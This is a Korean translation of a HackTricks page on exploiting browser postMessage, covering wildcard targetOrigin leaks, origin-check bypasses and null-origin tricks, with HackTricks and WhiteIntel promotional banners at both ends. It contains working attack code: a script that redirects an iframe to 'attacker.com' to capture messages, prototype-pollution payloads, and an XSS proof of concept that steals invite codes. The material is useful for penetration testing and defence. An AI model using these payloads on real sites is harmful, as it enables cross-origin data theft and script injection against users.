.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
PostMessage 취약점
PostMessage 취약점
htARTE (HackTricks AWS Red Team Expert)를 통해 **제로**부터 **히어로**까지 AWS 해킹을 배우세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 PDF로 HackTricks 다운로드하려면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왜그를 구매하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 Discord 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm를 팔로우하세요.
- HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
WhiteIntel
WhiteIntel은 다크 웹을 활용한 검색 엔진으로, 회사나 고객이 스틸러 악성 소프트웨어에 의해 침해당했는지 무료 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보 도난 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
그들의 웹사이트를 확인하고 무료로 엔진을 시도해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %}
PostMessage 보내기
PostMessage는 다음 함수를 사용하여 메시지를 보냅니다:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
targetOrigin은 '*' 또는 _https://company.com_과 같은 URL일 수 있음을 유의하십시오.
두 번째 시나리오에서는 메시지가 해당 도메인으로만 전송될 수 있습니다(창 객체의 출처가 다른 경우에도 해당).
와일드카드를 사용하면 메시지가 모든 도메인으로 전송될 수 있으며 창 객체의 출처로 전송됩니다.
iframe 및 targetOrigin에서의 와일드카드 공격
이 보고서에서 설명한대로, X-Frame-Header 보호가 없는 페이지를 찾고, 와일드카드(*)를 사용하여 postMessage를 통해 민감한 메시지를 보내는 페이지를 iframed할 수 있다면, iframe의 출처를 수정하여 민감한 메시지를 귀하가 제어하는 도메인으로 유출할 수 있습니다.
페이지가 iframed될 수 있지만 targetOrigin이 URL로 설정되어 있고 와일드카드가 아닌 경우, 이 트릭은 작동하지 않습니다.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener exploitation
**addEventListener
**는 JS에서 postMessages
를 기대하는 함수를 선언하는 데 사용됩니다.
다음과 유사한 코드가 사용됩니다:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
열거
현재 페이지에서 이벤트 리스너를 찾으려면 다음을 수행할 수 있습니다:
- JS 코드에서
window.addEventListener
및$(window).on
(JQuery 버전)을 검색 - 개발자 도구 콘솔에서 다음을 실행:
getEventListeners(window)
- 브라우저의 개발자 도구에서 _Elements --> Event Listeners_로 이동
- https://github.com/benso-io/posta 또는 https://github.com/fransr/postMessage-tracker와 같은 브라우저 확장 프로그램 사용. 이 브라우저 확장 프로그램은 모든 메시지를 가로채서 표시합니다.
Origin check bypasses
event.isTrusted
속성은True
를 반환하여 진정한 사용자 조치로 생성된 이벤트에 대해서만 안전하다고 간주됩니다. 올바르게 구현된 경우 우회하기 어렵지만, 보안 검사에서의 중요성이 두드러집니다.- PostMessage 이벤트에서 원본 유효성을 검사하기 위해
indexOf()
사용은 우회 가능할 수 있습니다. 이 취약점을 설명하는 예는 다음과 같습니다:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
String.prototype.search()
의search()
메서드는 정규 표현식을 위해 의도되었으며 문자열에 대해서는 아닙니다. 정규 표현식 이외의 것을 전달하면 암시적으로 정규식으로 변환되어 메서드가 잠재적으로 안전하지 않을 수 있습니다. 특히 정규 표현식에서 마침표(.)는 와일드카드로 작동하여 특별히 설계된 도메인을 사용하여 유효성 검사를 우회할 수 있습니다. 예를 들어:
"https://www.safedomain.com".search("www.s.fedomain.com")
search()
와 유사한match()
함수는 정규식을 처리합니다. 정규식이 부적절하게 구성된 경우 우회 가능성이 있습니다.escapeHtml
함수는 문자를 이스케이프하여 입력을 살균하는 데 사용됩니다. 그러나 새로운 이스케이프된 객체를 생성하지 않고 기존 객체의 속성을 덮어쓰므로 이 동작은 악용될 수 있습니다. 특히, 객체가 조작되어 제어되는 속성이hasOwnProperty
를 인식하지 않는다면escapeHtml
은 예상대로 작동하지 않을 수 있습니다. 아래 예시에서 확인할 수 있습니다:
- 예상된 실패:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
- 이스케이프 우회:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
이 취약점의 맥락에서 File
객체는 읽기 전용 name
속성으로 인해 주목할 만한 취약점이 있습니다. 이 속성은 템플릿에서 사용될 때 escapeHtml
함수에 의해 살균되지 않아 잠재적인 보안 위험을 초래할 수 있습니다.
- JavaScript의
document.domain
속성은 도메인을 단축시키기 위해 스크립트에 의해 설정될 수 있으며, 동일한 부모 도메인 내에서 보다 유연한 동일 출처 정책 적용을 허용합니다.
e.origin == window.origin 우회
%%%%%%를 사용하여 sandboxed iframe 내에 웹 페이지를 임베드할 때, iframe의 원본이 null로 설정됨을 이해하는 것이 중요합니다. 이는 sandbox 속성 및 보안 및 기능에 대한 영향을 고려할 때 특히 중요합니다.
sandbox 속성에 **allow-popups
**를 지정하면 iframe 내에서 열린 팝업 창은 부모의 sandbox 제한을 상속합니다. 이는 팝업 창의 원본이 null
로 설정되므로, 팝업 창의 원본이 iframe의 원본과 일치하게 됩니다. 이러한 조건에서 팝업이 열리고 iframe에서 팝업으로 **postMessage
**를 통해 메시지를 보낼 때, 보내는 쪽과 받는 쪽의 원본이 모두 null
로 설정됩니다. 이 상황은 iframe과 팝업이 모두 null
의 동일한 원본 값을 가지므로 **e.origin == window.origin
**이 true로 평가됩니다 (null == null
).
자세한 정보는 다음을 읽으십시오:
{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
e.source 우회
메시지가 스크립트가 수신 대기 중인 동일한 창에서 왔는지 확인하는 것이 가능합니다 (특히 브라우저 확장 프로그램의 콘텐츠 스크립트의 경우 페이지에서 보낸 메시지인지 확인하는 데 특히 흥미로울 수 있음):
// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}
메시지의 **e.source
**를 null로 강제할 수 있습니다. 이를 위해 **postMessage
**를 보내고 즉시 삭제되는 iframe을 생성합니다.
자세한 정보는 다음을 참조하십시오:
{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
X-Frame-Header 우회
이러한 공격을 수행하기 위해 이상적으로는 피해 웹 페이지를 iframe
안에 넣을 수 있어야 합니다. 그러나 X-Frame-Header
와 같은 일부 헤더는 그 동작을 방지할 수 있습니다.
이러한 시나리오에서는 여전히 덜 은밀한 공격을 사용할 수 있습니다. 취약한 웹 응용 프로그램으로 새 탭을 열고 통신할 수 있습니다:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
메시지를 훔치는 방법: 메인 페이지 차단
다음 페이지에서는 주요 페이지를 차단하고 데이터를 전송하기 전에 주요 페이지를 차단하여 자식 iframe로 전송된 민감한 postmessage 데이터를 훔칠 수 있는 방법을 볼 수 있습니다. 그리고 데이터가 수신되기 전에 자식 iframe에서 데이터를 유출하는 방법을 악용합니다:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
iframe 위치 수정으로 메시지 훔치기
만약 X-Frame-Header가 없는 웹페이지를 iframe으로 포함하고 있는 경우, 해당 자식 iframe의 위치를 변경할 수 있습니다. 따라서 와일드카드를 사용하여 전송된 postmessage를 수신하는 경우, 공격자는 해당 iframe 원본을 자신이 제어하는 페이지로 변경하여 메시지를 훔칠 수 있습니다:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
postMessage를 통한 Prototype Pollution 및/또는 XSS
postMessage
를 통해 전송된 데이터가 JS에 의해 실행되는 시나리오에서, 페이지를 iframe으로 포함하고 prototype pollution/XSS를 악용하여 postMessage
를 통해 exploit을 전송할 수 있습니다.
postMessage
를 통해 매우 잘 설명된 XSS의 예시는 다음에서 찾을 수 있습니다: https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
iframe
로 postMessage
를 통해 Prototype Pollution을 악용한 뒤 XSS를 악용하는 exploit의 예시:
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
더 많은 정보를 원하시면:
- 프로토타입 오염 페이지로 이동
- XSS 페이지로 이동
- 클라이언트 측 프로토타입 오염에서 XSS 페이지로 이동
참고 자료
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- 연습하기: https://github.com/yavolo/eventlistener-xss-recon
WhiteIntel
WhiteIntel은 다크 웹을 기반으로 한 검색 엔진으로, 회사나 고객이 스틸러 악성 코드에 의해 침해당했는지 무료로 확인할 수 있는 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보를 도난하는 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
그들의 웹사이트를 방문하여 엔진을 무료로 사용해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %}
**htARTE (HackTricks AWS Red Team Expert)**로부터 AWS 해킹을 제로부터 전문가까지 배우세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에 광고하거나 HackTricks를 PDF로 다운로드하려면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왹을 구매하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 디스코드 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.